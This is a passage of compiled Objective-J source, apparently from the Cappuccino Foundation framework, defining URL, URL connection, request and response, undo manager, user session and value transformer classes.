with(_7c){
_runLoopModes=objj_msgSend(_7e,"copy");
if(_registeredWithRunLoop){
objj_msgSend(_7c,"_unregisterWithRunLoop");
objj_msgSend(_7c,"_registerWithRunLoop");
}
}
}),new objj_method(sel_getUid("_runLoopEndUndoGrouping"),function(_7f,_80){
with(_7f){
objj_msgSend(_7f,"endUndoGrouping");
_registeredWithRunLoop=NO;
}
}),new objj_method(sel_getUid("_registerWithRunLoop"),function(_81,_82){
with(_81){
if(_registeredWithRunLoop){
return;
}
_registeredWithRunLoop=YES;
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"performSelector:target:argument:order:modes:",sel_getUid("_runLoopEndUndoGrouping"),_81,nil,CPUndoCloseGroupingRunLoopOrdering,_runLoopModes);
}
}),new objj_method(sel_getUid("_unregisterWithRunLoop"),function(_83,_84){
with(_83){
if(!_registeredWithRunLoop){
return;
}
_registeredWithRunLoop=NO;
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"cancelPerformSelector:target:argument:",sel_getUid("_runLoopEndUndoGrouping"),_83,nil);
}
}),new objj_method(sel_getUid("observeChangesForKeyPath:ofObject:"),function(_85,_86,_87,_88){
with(_85){
objj_msgSend(_88,"addObserver:forKeyPath:options:context:",_85,_87,CPKeyValueObservingOptionOld|CPKeyValueObservingOptionNew,NULL);
}
}),new objj_method(sel_getUid("stopObservingChangesForKeyPath:ofObject:"),function(_89,_8a,_8b,_8c){
with(_89){
objj_msgSend(_8c,"removeObserver:forKeyPath:",_89,_8b);
}
}),new objj_method(sel_getUid("observeValueForKeyPath:ofObject:change:context:"),function(_8d,_8e,_8f,_90,_91,_92){
with(_8d){
var _93=objj_msgSend(_91,"valueForKey:",CPKeyValueChangeOldKey),_94=objj_msgSend(_91,"valueForKey:",CPKeyValueChangeNewKey);
if(_93===_94||(_93!==nil&&_93.isa&&(_94===nil||_94.isa)&&objj_msgSend(_93,"isEqual:",_94))){
return;
}
objj_msgSend(objj_msgSend(_8d,"prepareWithInvocationTarget:",_90),"applyChange:toKeyPath:",objj_msgSend(_91,"inverseChangeDictionary"),_8f);
}
})]);
var _95="CPUndoManagerRedoStackKey",_96="CPUndoManagerUndoStackKey";
CPUndoManagerLevelsOfUndoKey="CPUndoManagerLevelsOfUndoKey";
CPUndoManagerActionNameKey="CPUndoManagerActionNameKey";
CPUndoManagerCurrentGroupingKey="CPUndoManagerCurrentGroupingKey";
CPUndoManagerRunLoopModesKey="CPUndoManagerRunLoopModesKey";
CPUndoManagerGroupsByEventKey="CPUndoManagerGroupsByEventKey";
var _6=objj_getClass("CPUndoManager");
if(!_6){
throw new SyntaxError("*** Could not find definition for class \"CPUndoManager\"");
}
var _7=_6.isa;
class_addMethods(_6,[new objj_method(sel_getUid("initWithCoder:"),function(_97,_98,_99){
with(_97){
_97=objj_msgSendSuper({receiver:_97,super_class:objj_getClass("CPUndoManager").super_class},"init");
if(_97){
_redoStack=objj_msgSend(_99,"decodeObjectForKey:",_95);
_undoStack=objj_msgSend(_99,"decodeObjectForKey:",_96);
_levelsOfUndo=objj_msgSend(_99,"decodeObjectForKey:",CPUndoManagerLevelsOfUndoKey);
_actionName=objj_msgSend(_99,"decodeObjectForKey:",CPUndoManagerActionNameKey);
_currentGrouping=objj_msgSend(_99,"decodeObjectForKey:",CPUndoManagerCurrentGroupingKey);
_state=_1;
objj_msgSend(_97,"setRunLoopModes:",objj_msgSend(_99,"decodeObjectForKey:",CPUndoManagerRunLoopModesKey));
objj_msgSend(_97,"setGroupsByEvent:",objj_msgSend(_99,"decodeBoolForKey:",CPUndoManagerGroupsByEventKey));
}
return _97;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_9a,_9b,_9c){
with(_9a){
objj_msgSend(_9c,"encodeObject:forKey:",_redoStack,_95);
objj_msgSend(_9c,"encodeObject:forKey:",_undoStack,_96);
objj_msgSend(_9c,"encodeInt:forKey:",_levelsOfUndo,CPUndoManagerLevelsOfUndoKey);
objj_msgSend(_9c,"encodeObject:forKey:",_actionName,CPUndoManagerActionNameKey);
objj_msgSend(_9c,"encodeObject:forKey:",_currentGrouping,CPUndoManagerCurrentGroupingKey);
objj_msgSend(_9c,"encodeObject:forKey:",_runLoopModes,CPUndoManagerRunLoopModesKey);
objj_msgSend(_9c,"encodeBool:forKey:",_groupsByEvent,CPUndoManagerGroupsByEventKey);
}
})]);
var _6=objj_allocateClassPair(CPProxy,"_CPUndoManagerProxy"),_7=_6.isa;
class_addIvars(_6,[new objj_ivar("_undoManager")]);
objj_registerClassPair(_6);
class_addMethods(_6,[new objj_method(sel_getUid("methodSignatureForSelector:"),function(_9d,_9e,_9f){
with(_9d){
return objj_msgSend(_undoManager,"_methodSignatureOfPreparedTargetForSelector:",_9f);
}
}),new objj_method(sel_getUid("forwardInvocation:"),function(_a0,_a1,_a2){
with(_a0){
objj_msgSend(_undoManager,"_forwardInvocationToPreparedTarget:",_a2);
}
})]);
p;7;CPURL.jt;5953;@STATIC;1.0;i;10;CPObject.jt;5919;
objj_executeFile("CPObject.j",YES);
CPURLNameKey="CPURLNameKey";
CPURLLocalizedNameKey="CPURLLocalizedNameKey";
CPURLIsRegularFileKey="CPURLIsRegularFileKey";
CPURLIsDirectoryKey="CPURLIsDirectoryKey";
CPURLIsSymbolicLinkKey="CPURLIsSymbolicLinkKey";
CPURLIsVolumeKey="CPURLIsVolumeKey";
CPURLIsPackageKey="CPURLIsPackageKey";
CPURLIsSystemImmutableKey="CPURLIsSystemImmutableKey";
CPURLIsUserImmutableKey="CPURLIsUserImmutableKey";
CPURLIsHiddenKey="CPURLIsHiddenKey";
CPURLHasHiddenExtensionKey="CPURLHasHiddenExtensionKey";
CPURLCreationDateKey="CPURLCreationDateKey";
CPURLContentAccessDateKey="CPURLContentAccessDateKey";
CPURLContentModificationDateKey="CPURLContentModificationDateKey";
CPURLAttributeModificationDateKey="CPURLAttributeModificationDateKey";
CPURLLinkCountKey="CPURLLinkCountKey";
CPURLParentDirectoryURLKey="CPURLParentDirectoryURLKey";
CPURLVolumeURLKey="CPURLTypeIdentifierKey";
CPURLTypeIdentifierKey="CPURLTypeIdentifierKey";
CPURLLocalizedTypeDescriptionKey="CPURLLocalizedTypeDescriptionKey";
CPURLLabelNumberKey="CPURLLabelNumberKey";
CPURLLabelColorKey="CPURLLabelColorKey";
CPURLLocalizedLabelKey="CPURLLocalizedLabelKey";
CPURLEffectiveIconKey="CPURLEffectiveIconKey";
CPURLCustomIconKey="CPURLCustomIconKey";
var _1=objj_allocateClassPair(CPObject,"CPURL"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_3,_4){
with(_3){
return nil;
}
}),new objj_method(sel_getUid("initWithScheme:host:path:"),function(_5,_6,_7,_8,_9){
with(_5){
var _a=(_7?_7+":":"")+(_8?_8+"//":"")+(_9||"");
return objj_msgSend(_5,"initWithString:",_a);
}
}),new objj_method(sel_getUid("initWithString:"),function(_b,_c,_d){
with(_b){
return objj_msgSend(_b,"initWithString:relativeToURL:",_d,nil);
}
}),new objj_method(sel_getUid("initWithString:relativeToURL:"),function(_e,_f,_10,_11){
with(_e){
return new CFURL(_10,_11);
}
}),new objj_method(sel_getUid("absoluteURL"),function(_12,_13){
with(_12){
return _12.absoluteURL();
}
}),new objj_method(sel_getUid("baseURL"),function(_14,_15){
with(_14){
return _14.baseURL();
}
}),new objj_method(sel_getUid("absoluteString"),function(_16,_17){
with(_16){
return _16.absoluteString();
}
}),new objj_method(sel_getUid("relativeString"),function(_18,_19){
with(_18){
return _18.string();
}
}),new objj_method(sel_getUid("path"),function(_1a,_1b){
with(_1a){
return objj_msgSend(_1a,"absoluteURL").path();
}
}),new objj_method(sel_getUid("pathComponents"),function(_1c,_1d){
with(_1c){
var _1e=_1c.pathComponents();
return objj_msgSend(_1e,"copy");
}
}),new objj_method(sel_getUid("relativePath"),function(_1f,_20){
with(_1f){
return _1f.path();
}
}),new objj_method(sel_getUid("scheme"),function(_21,_22){
with(_21){
return _21.scheme();
}
}),new objj_method(sel_getUid("user"),function(_23,_24){
with(_23){
return objj_msgSend(_23,"absoluteURL").user();
}
}),new objj_method(sel_getUid("password"),function(_25,_26){
with(_25){
return objj_msgSend(_25,"absoluteURL").password();
}
}),new objj_method(sel_getUid("host"),function(_27,_28){
with(_27){
return objj_msgSend(_27,"absoluteURL").domain();
}
}),new objj_method(sel_getUid("port"),function(_29,_2a){
with(_29){
var _2b=objj_msgSend(_29,"absoluteURL").portNumber();
if(_2b===-1){
return nil;
}
return _2b;
}
}),new objj_method(sel_getUid("parameterString"),function(_2c,_2d){
with(_2c){
return _2c.queryString();
}
}),new objj_method(sel_getUid("fragment"),function(_2e,_2f){
with(_2e){
return _2e.fragment();
}
}),new objj_method(sel_getUid("isEqual:"),function(_30,_31,_32){
with(_30){
return objj_msgSend(_30,"relativeString")===objj_msgSend(_32,"relativeString")&&(objj_msgSend(_30,"baseURL")===objj_msgSend(_32,"baseURL")||objj_msgSend(objj_msgSend(_30,"baseURL"),"isEqual:",objj_msgSend(_32,"baseURL")));
}
}),new objj_method(sel_getUid("lastPathComponent"),function(_33,_34){
with(_33){
return objj_msgSend(_33,"absoluteURL").lastPathComponent();
}
}),new objj_method(sel_getUid("pathExtension"),function(_35,_36){
with(_35){
return _35.pathExtension();
}
}),new objj_method(sel_getUid("standardizedURL"),function(_37,_38){
with(_37){
return _37.standardizedURL();
}
}),new objj_method(sel_getUid("isFileURL"),function(_39,_3a){
with(_39){
return objj_msgSend(_39,"scheme")==="file";
}
}),new objj_method(sel_getUid("description"),function(_3b,_3c){
with(_3b){
return objj_msgSend(_3b,"absoluteString");
}
}),new objj_method(sel_getUid("resourceValueForKey:"),function(_3d,_3e,_3f){
with(_3d){
return _3d.resourcePropertyForKey(_3f);
}
}),new objj_method(sel_getUid("setResourceValue:forKey:"),function(_40,_41,_42,_43){
with(_40){
return _40.setResourcePropertyForKey(_43,_42);
}
}),new objj_method(sel_getUid("staticResourceData"),function(_44,_45){
with(_44){
return _44.staticResourceData();
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("alloc"),function(_46,_47){
with(_46){
return new CFURL();
}
}),new objj_method(sel_getUid("URLWithString:"),function(_48,_49,_4a){
with(_48){
return objj_msgSend(objj_msgSend(_48,"alloc"),"initWithString:",_4a);
}
}),new objj_method(sel_getUid("URLWithString:relativeToURL:"),function(_4b,_4c,_4d,_4e){
with(_4b){
return objj_msgSend(objj_msgSend(_4b,"alloc"),"initWithString:relativeToURL:",_4d,_4e);
}
})]);
var _4f="CPURLURLStringKey",_50="CPURLBaseURLKey";
var _1=objj_getClass("CPURL");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPURL\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_51,_52,_53){
with(_51){
return objj_msgSend(_51,"initWithString:relativeToURL:",objj_msgSend(_53,"decodeObjectForKey:",_4f),objj_msgSend(_53,"decodeObjectForKey:",_50));
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_54,_55,_56){
with(_54){
objj_msgSend(_56,"encodeObject:forKey:",_baseURL,_50);
objj_msgSend(_56,"encodeObject:forKey:",_string,_4f);
}
})]);
CFURL.prototype.isa=objj_msgSend(CPURL,"class");
p;17;CPURLConnection.jt;5414;@STATIC;1.0;i;10;CPObject.ji;11;CPRunLoop.ji;14;CPURLRequest.ji;15;CPURLResponse.jt;5325;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPRunLoop.j",YES);
objj_executeFile("CPURLRequest.j",YES);
objj_executeFile("CPURLResponse.j",YES);
var _1=nil;
var _2=objj_allocateClassPair(CPObject,"CPURLConnection"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_request"),new objj_ivar("_delegate"),new objj_ivar("_isCanceled"),new objj_ivar("_isLocalFileConnection"),new objj_ivar("_HTTPRequest")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithRequest:delegate:startImmediately:"),function(_4,_5,_6,_7,_8){
with(_4){
_4=objj_msgSendSuper({receiver:_4,super_class:objj_getClass("CPURLConnection").super_class},"init");
if(_4){
_request=_6;
_delegate=_7;
_isCanceled=NO;
var _9=objj_msgSend(_request,"URL"),_a=objj_msgSend(_9,"scheme");
_isLocalFileConnection=_a==="file"||((_a==="http"||_a==="https:")&&window.location&&(window.location.protocol==="file:"||window.location.protocol==="app:"));
_HTTPRequest=new CFHTTPRequest();
if(_8){
objj_msgSend(_4,"start");
}
}
return _4;
}
}),new objj_method(sel_getUid("initWithRequest:delegate:"),function(_b,_c,_d,_e){
with(_b){
return objj_msgSend(_b,"initWithRequest:delegate:startImmediately:",_d,_e,YES);
}
}),new objj_method(sel_getUid("delegate"),function(_f,_10){
with(_f){
return _delegate;
}
}),new objj_method(sel_getUid("start"),function(_11,_12){
with(_11){
_isCanceled=NO;
try{
_HTTPRequest.open(objj_msgSend(_request,"HTTPMethod"),objj_msgSend(objj_msgSend(_request,"URL"),"absoluteString"),YES);
_HTTPRequest.onreadystatechange=function(){
objj_msgSend(_11,"_readyStateDidChange");
};
var _13=objj_msgSend(_request,"allHTTPHeaderFields"),key=nil,_14=objj_msgSend(_13,"keyEnumerator");
while(key=objj_msgSend(_14,"nextObject")){
_HTTPRequest.setRequestHeader(key,objj_msgSend(_13,"objectForKey:",key));
}
_HTTPRequest.send(objj_msgSend(_request,"HTTPBody"));
}
catch(anException){
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connection:didFailWithError:"))){
objj_msgSend(_delegate,"connection:didFailWithError:",_11,anException);
}
}
}
}),new objj_method(sel_getUid("cancel"),function(_15,_16){
with(_15){
_isCanceled=YES;
try{
_HTTPRequest.abort();
}
catch(anException){
}
}
}),new objj_method(sel_getUid("isLocalFileConnection"),function(_17,_18){
with(_17){
return _isLocalFileConnection;
}
}),new objj_method(sel_getUid("_readyStateDidChange"),function(_19,_1a){
with(_19){
if(_HTTPRequest.readyState()===CFHTTPRequest.CompleteState){
var _1b=_HTTPRequest.status(),URL=objj_msgSend(_request,"URL");
if(_1b===401&&objj_msgSend(_1,"respondsToSelector:",sel_getUid("connectionDidReceiveAuthenticationChallenge:"))){
objj_msgSend(_1,"connectionDidReceiveAuthenticationChallenge:",_19);
}else{
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connection:didReceiveResponse:"))){
if(_isLocalFileConnection){
objj_msgSend(_delegate,"connection:didReceiveResponse:",_19,objj_msgSend(objj_msgSend(CPURLResponse,"alloc"),"initWithURL:",URL));
}else{
var _1c=objj_msgSend(objj_msgSend(CPHTTPURLResponse,"alloc"),"initWithURL:",URL);
objj_msgSend(_1c,"_setStatusCode:",_1b);
objj_msgSend(_delegate,"connection:didReceiveResponse:",_19,_1c);
}
}
if(!_isCanceled){
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connection:didReceiveData:"))){
objj_msgSend(_delegate,"connection:didReceiveData:",_19,_HTTPRequest.responseText());
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connectionDidFinishLoading:"))){
objj_msgSend(_delegate,"connectionDidFinishLoading:",_19);
}
}
}
}
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"limitDateForMode:",CPDefaultRunLoopMode);
}
}),new objj_method(sel_getUid("_HTTPRequest"),function(_1d,_1e){
with(_1d){
return _HTTPRequest;
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("setClassDelegate:"),function(_1f,_20,_21){
with(_1f){
_1=_21;
}
}),new objj_method(sel_getUid("sendSynchronousRequest:returningResponse:"),function(_22,_23,_24,_25){
with(_22){
try{
var _26=new CFHTTPRequest();
_26.open(objj_msgSend(_24,"HTTPMethod"),objj_msgSend(objj_msgSend(_24,"URL"),"absoluteString"),NO);
var _27=objj_msgSend(_24,"allHTTPHeaderFields"),key=nil,_28=objj_msgSend(_27,"keyEnumerator");
while(key=objj_msgSend(_28,"nextObject")){
_26.setRequestHeader(key,objj_msgSend(_27,"objectForKey:",key));
}
_26.send(objj_msgSend(_24,"HTTPBody"));
return objj_msgSend(CPData,"dataWithRawString:",_26.responseText());
}
catch(anException){
}
return nil;
}
}),new objj_method(sel_getUid("connectionWithRequest:delegate:"),function(_29,_2a,_2b,_2c){
with(_29){
return objj_msgSend(objj_msgSend(_29,"alloc"),"initWithRequest:delegate:",_2b,_2c);
}
})]);
var _2=objj_getClass("CPURLConnection");
if(!_2){
throw new SyntaxError("*** Could not find definition for class \"CPURLConnection\"");
}
var _3=_2.isa;
class_addMethods(_2,[new objj_method(sel_getUid("_XMLHTTPRequest"),function(_2d,_2e){
with(_2d){
_CPReportLenientDeprecation(_2d,_2e,sel_getUid("_HTTPRequest"));
return objj_msgSend(_2d,"_HTTPRequest");
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("sendSynchronousRequest:returningResponse:error:"),function(_2f,_30,_31,_32,_33){
with(_2f){
_CPReportLenientDeprecation(_2f,_30,sel_getUid("sendSynchronousRequest:returningResponse:"));
return objj_msgSend(_2f,"sendSynchronousRequest:returningResponse:",_31,_32);
}
})]);
p;14;CPURLRequest.jt;2069;@STATIC;1.0;i;10;CPObject.jt;2035;
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPURLRequest"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_URL"),new objj_ivar("_HTTPBody"),new objj_ivar("_HTTPMethod"),new objj_ivar("_HTTPHeaderFields")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithURL:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPURLRequest").super_class},"init");
if(_3){
objj_msgSend(_3,"setURL:",_5);
_HTTPBody="";
_HTTPMethod="GET";
_HTTPHeaderFields=objj_msgSend(CPDictionary,"dictionary");
objj_msgSend(_3,"setValue:forHTTPHeaderField:","Thu, 01 Jan 1970 00:00:00 GMT","If-Modified-Since");
objj_msgSend(_3,"setValue:forHTTPHeaderField:","no-cache","Cache-Control");
objj_msgSend(_3,"setValue:forHTTPHeaderField:","XMLHttpRequest","X-Requested-With");
}
return _3;
}
}),new objj_method(sel_getUid("URL"),function(_6,_7){
with(_6){
return _URL;
}
}),new objj_method(sel_getUid("setURL:"),function(_8,_9,_a){
with(_8){
_URL=new CFURL(_a);
}
}),new objj_method(sel_getUid("setHTTPBody:"),function(_b,_c,_d){
with(_b){
_HTTPBody=_d;
}
}),new objj_method(sel_getUid("HTTPBody"),function(_e,_f){
with(_e){
return _HTTPBody;
}
}),new objj_method(sel_getUid("setHTTPMethod:"),function(_10,_11,_12){
with(_10){
_HTTPMethod=_12;
}
}),new objj_method(sel_getUid("HTTPMethod"),function(_13,_14){
with(_13){
return _HTTPMethod;
}
}),new objj_method(sel_getUid("allHTTPHeaderFields"),function(_15,_16){
with(_15){
return _HTTPHeaderFields;
}
}),new objj_method(sel_getUid("valueForHTTPHeaderField:"),function(_17,_18,_19){
with(_17){
return objj_msgSend(_HTTPHeaderFields,"objectForKey:",_19);
}
}),new objj_method(sel_getUid("setValue:forHTTPHeaderField:"),function(_1a,_1b,_1c,_1d){
with(_1a){
objj_msgSend(_HTTPHeaderFields,"setObject:forKey:",_1c,_1d);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("requestWithURL:"),function(_1e,_1f,_20){
with(_1e){
return objj_msgSend(objj_msgSend(CPURLRequest,"alloc"),"initWithURL:",_20);
}
})]);
p;15;CPURLResponse.jt;888;@STATIC;1.0;i;10;CPObject.jt;855;
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPURLResponse"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_URL")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithURL:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPURLResponse").super_class},"init");
if(_3){
_URL=_5;
}
return _3;
}
}),new objj_method(sel_getUid("URL"),function(_6,_7){
with(_6){
return _URL;
}
})]);
var _1=objj_allocateClassPair(CPURLResponse,"CPHTTPURLResponse"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_statusCode")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("_setStatusCode:"),function(_8,_9,_a){
with(_8){
_statusCode=_a;
}
}),new objj_method(sel_getUid("statusCode"),function(_b,_c){
with(_b){
return _statusCode;
}
})]);
p;22;CPUserSessionManager.jt;1912;@STATIC;1.0;i;10;CPObject.ji;10;CPString.jt;1863;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPString.j",YES);
CPUserSessionUndeterminedStatus=0;
CPUserSessionLoggedInStatus=1;
CPUserSessionLoggedOutStatus=2;
CPUserSessionManagerStatusDidChangeNotification="CPUserSessionManagerStatusDidChangeNotification";
CPUserSessionManagerUserIdentifierDidChangeNotification="CPUserSessionManagerUserIdentifierDidChangeNotification";
var _1=nil;
var _2=objj_allocateClassPair(CPObject,"CPUserSessionManager"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_status"),new objj_ivar("_userIdentifier")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("init"),function(_4,_5){
with(_4){
_4=objj_msgSendSuper({receiver:_4,super_class:objj_getClass("CPUserSessionManager").super_class},"init");
if(_4){
_status=CPUserSessionUndeterminedStatus;
}
return _4;
}
}),new objj_method(sel_getUid("status"),function(_6,_7){
with(_6){
return _status;
}
}),new objj_method(sel_getUid("setStatus:"),function(_8,_9,_a){
with(_8){
if(_status==_a){
return;
}
_status=_a;
objj_msgSend(objj_msgSend(CPNotificationCenter,"defaultCenter"),"postNotificationName:object:",CPUserSessionManagerStatusDidChangeNotification,_8);
if(_status!=CPUserSessionLoggedInStatus){
objj_msgSend(_8,"setUserIdentifier:",nil);
}
}
}),new objj_method(sel_getUid("userIdentifier"),function(_b,_c){
with(_b){
return _userIdentifier;
}
}),new objj_method(sel_getUid("setUserIdentifier:"),function(_d,_e,_f){
with(_d){
if(_userIdentifier==_f){
return;
}
_userIdentifier=_f;
objj_msgSend(objj_msgSend(CPNotificationCenter,"defaultCenter"),"postNotificationName:object:",CPUserSessionManagerUserIdentifierDidChangeNotification,_d);
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("defaultManager"),function(_10,_11){
with(_10){
if(!_1){
_1=objj_msgSend(objj_msgSend(CPUserSessionManager,"alloc"),"init");
}
return _1;
}
})]);
p;9;CPValue.jt;1690;@STATIC;1.0;i;9;CPCoder.ji;10;CPObject.jt;1643;
objj_executeFile("CPCoder.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPValue"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_JSObject")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithJSObject:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPValue").super_class},"init");
if(_3){
_JSObject=_5;
}
return _3;
}
}),new objj_method(sel_getUid("JSObject"),function(_6,_7){
with(_6){
return _JSObject;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("valueWithJSObject:"),function(_8,_9,_a){
with(_8){
return objj_msgSend(objj_msgSend(_8,"alloc"),"initWithJSObject:",_a);
}
})]);
var _b="CPValueValueKey";
var _1=objj_getClass("CPValue");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPValue\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_c,_d,_e){
with(_c){
_c=objj_msgSendSuper({receiver:_c,super_class:objj_getClass("CPValue").super_class},"init");
if(_c){
_JSObject=JSON.parse(objj_msgSend(_e,"decodeObjectForKey:",_b));
}
return _c;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_f,_10,_11){
with(_f){
objj_msgSend(_11,"encodeObject:forKey:",JSON.stringify(_JSObject),_b);
}
})]);
CPJSObjectCreateJSON=function(_12){
CPLog.warn("CPJSObjectCreateJSON deprecated, use JSON.stringify() or CPString's objectFromJSON");
return JSON.stringify(_12);
};
CPJSObjectCreateWithJSON=function(_13){
CPLog.warn("CPJSObjectCreateWithJSON deprecated, use JSON.parse() or CPString's JSONFromObject");
return JSON.parse(_13);
};
p;20;CPValueTransformer.jt;4788;@STATIC;1.0;i;10;CPObject.ji;14;CPDictionary.jt;4735;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPDictionary.j",YES);
var _1=objj_msgSend(CPDictionary,"dictionary");
var _2=objj_allocateClassPair(CPObject,"CPValueTransformer"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("reverseTransformedValue:"),function(_4,_5,_6){
with(_4){
if(objj_msgSend(objj_msgSend(_4,"class"),"allowsReverseTransformation")){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,(_4+" is not reversible."));
}
return objj_msgSend(_4,"transformedValue:",_6);
}
}),new objj_method(sel_getUid("transformedValue:"),function(_7,_8,_9){
with(_7){
return nil;
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("initialize"),function(_a,_b){
with(_a){
if(_a!==objj_msgSend(CPValueTransformer,"class")){
return;
}
objj_msgSend(CPValueTransformer,"setValueTransformer:forName:",objj_msgSend(objj_msgSend(CPNegateBooleanTransformer,"alloc"),"init"),CPNegateBooleanTransformerName);
objj_msgSend(CPValueTransformer,"setValueTransformer:forName:",objj_msgSend(objj_msgSend(CPIsNilTransformer,"alloc"),"init"),CPIsNilTransformerName);
objj_msgSend(CPValueTransformer,"setValueTransformer:forName:",objj_msgSend(objj_msgSend(CPIsNotNilTransformer,"alloc"),"init"),CPIsNotNilTransformerName);
objj_msgSend(CPValueTransformer,"setValueTransformer:forName:",objj_msgSend(objj_msgSend(CPUnarchiveFromDataTransformer,"alloc"),"init"),CPUnarchiveFromDataTransformerName);
}
}),new objj_method(sel_getUid("setValueTransformer:forName:"),function(_c,_d,_e,_f){
with(_c){
objj_msgSend(_1,"setObject:forKey:",_e,_f);
}
}),new objj_method(sel_getUid("valueTransformerForName:"),function(_10,_11,_12){
with(_10){
return objj_msgSend(_1,"objectForKey:",_12);
}
}),new objj_method(sel_getUid("valueTransformerNames"),function(_13,_14){
with(_13){
return objj_msgSend(_1,"allKeys");
}
}),new objj_method(sel_getUid("allowsReverseTransformation"),function(_15,_16){
with(_15){
return NO;
}
}),new objj_method(sel_getUid("transformedValueClass"),function(_17,_18){
with(_17){
return objj_msgSend(CPObject,"class");
}
})]);
var _2=objj_allocateClassPair(CPValueTransformer,"CPNegateBooleanTransformer"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("reverseTransformedValue:"),function(_19,_1a,_1b){
with(_19){
return !objj_msgSend(_1b,"boolValue");
}
}),new objj_method(sel_getUid("transformedValue:"),function(_1c,_1d,_1e){
with(_1c){
return !objj_msgSend(_1e,"boolValue");
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("allowsReverseTransformation"),function(_1f,_20){
with(_1f){
return YES;
}
}),new objj_method(sel_getUid("transformedValueClass"),function(_21,_22){
with(_21){
return objj_msgSend(CPNumber,"class");
}
})]);
var _2=objj_allocateClassPair(CPValueTransformer,"CPIsNilTransformer"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("transformedValue:"),function(_23,_24,_25){
with(_23){
return _25===nil||_25===undefined;
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("allowsReverseTransformation"),function(_26,_27){
with(_26){
return NO;
}
}),new objj_method(sel_getUid("transformedValueClass"),function(_28,_29){
with(_28){
return objj_msgSend(CPNumber,"class");
}
})]);
var _2=objj_allocateClassPair(CPValueTransformer,"CPIsNotNilTransformer"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("transformedValue:"),function(_2a,_2b,_2c){
with(_2a){
return _2c!==nil&&_2c!==undefined;
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("allowsReverseTransformation"),function(_2d,_2e){
with(_2d){
return NO;
}
}),new objj_method(sel_getUid("transformedValueClass"),function(_2f,_30){
with(_2f){
return objj_msgSend(CPNumber,"class");
}
})]);
var _2=objj_allocateClassPair(CPValueTransformer,"CPUnarchiveFromDataTransformer"),_3=_2.isa;
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("reverseTransformedValue:"),function(_31,_32,_33){
with(_31){
return objj_msgSend(CPKeyedArchiver,"archivedDataWithRootObject:",_33);
}
}),new objj_method(sel_getUid("transformedValue:"),function(_34,_35,_36){
with(_34){
return objj_msgSend(CPKeyedUnarchiver,"unarchiveObjectWithData:",_36);
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("allowsReverseTransformation"),function(_37,_38){
with(_37){
return YES;
}
}),new objj_method(sel_getUid("transformedValueClass"),function(_39,_3a){
with(_39){
return objj_msgSend(CPData,"class");
}
})]);
CPNegateBooleanTransformerName="CPNegateBooleanTransformerName";
CPIsNilTransformerName="CPIsNilTransformerName";
CPIsNotNilTransformerName="CPIsNotNilTransformerName";
CPUnarchiveFromDataTransformerName="CPUnarchiveFromDataTransformerName";
p;17;CPWebDAVManager.jt;4315;@STATIC;1.0;t;4296;
var _1=function(_2,_3,_4){
var _5=objj_msgSend(_4,"objectForKey:","resourcetype");
if(_5===CPWebDAVManagerCollectionResourceType){
objj_msgSend(_2,"setResourceValue:forKey:",YES,CPURLIsDirectoryKey);
